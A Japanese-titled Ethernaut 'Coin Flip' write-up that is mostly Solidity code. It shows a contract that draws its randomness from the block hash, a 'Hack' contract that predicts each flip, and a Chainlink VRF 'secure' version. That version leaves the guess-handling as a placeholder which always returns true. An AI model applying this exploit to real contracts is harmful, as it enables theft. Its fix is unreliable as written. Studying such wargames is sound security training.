スマートコントラクトの乱数生成の脆弱性を突く：Ethernaut「Coin Flip」チャレンジの詳細解説 #

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./CoinFlip.sol";

contract Hack {
    CoinFlip private immutable target;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _target) {
        target = CoinFlip(_target);
    }

    function flip() external {
        bool guess = _guess();
        require(target.flip(guess), "Failed to guess");
    }

    function _guess() private view returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        return side;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";

contract SecureCoinFlip is VRFConsumerBaseV2 {
    VRFCoordinatorV2Interface private immutable vrfCoordinator;
    uint64 private immutable subscriptionId;
    bytes32 private immutable keyHash;
    uint32 private immutable callbackGasLimit = 100000;
    uint16 private constant REQUEST_CONFIRMATIONS = 3;
    uint32 private constant NUM_WORDS = 1;
    
    uint256 public consecutiveWins;
    mapping(uint256 => address) private requestToSender;
    mapping(address => bool) private pendingGuess;
    
    event FlipResult(address indexed player, bool guess, bool result, uint256 newStreak);
    
    constructor(
        address _vrfCoordinator,
        uint64 _subscriptionId,
        bytes32 _keyHash
    ) VRFConsumerBaseV2(_vrfCoordinator) {
        vrfCoordinator = VRFCoordinatorV2Interface(_vrfCoordinator);
        subscriptionId = _subscriptionId;
        keyHash = _keyHash;
        consecutiveWins = 0;
    }
    
    function flip(bool _guess) external returns (uint256 requestId) {
        require(!pendingGuess[msg.sender], "Previous flip still pending");
        
        requestId = vrfCoordinator.requestRandomWords(
            keyHash,
            subscriptionId,
            REQUEST_CONFIRMATIONS,
            callbackGasLimit,
            NUM_WORDS
        );
        
        requestToSender[requestId] = msg.sender;
        pendingGuess[msg.sender] = true;
        
        // ゲスの値は後で使用するために保存（実際の実装では暗号化が必要）
        // 簡略化のため、ここでは詳細を省略
    }
    
    function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {
        address player = requestToSender[requestId];
        require(player != address(0), "Invalid request ID");
        
        // ランダムな結果の生成
        bool side = (randomWords[0] % 2) == 0;
        
        // プレイヤーの予測を取得（実際の実装では安全な方法で）
        bool guess = getPlayerGuess(player);
        
        if (side == guess) {
            consecutiveWins++;
        } else {
            consecutiveWins = 0;
        }
        
        pendingGuess[player] = false;
        delete requestToSender[requestId];
        
        emit FlipResult(player, guess, side == guess, consecutiveWins);
    }
    
    // プレイヤーの予測を安全に取得する関数（実装は省略）
    function getPlayerGuess(address player) private view returns (bool) {
        // 実際の実装では、コミットメントスキームなどを使用
        return true; // プレースホルダー
    }
}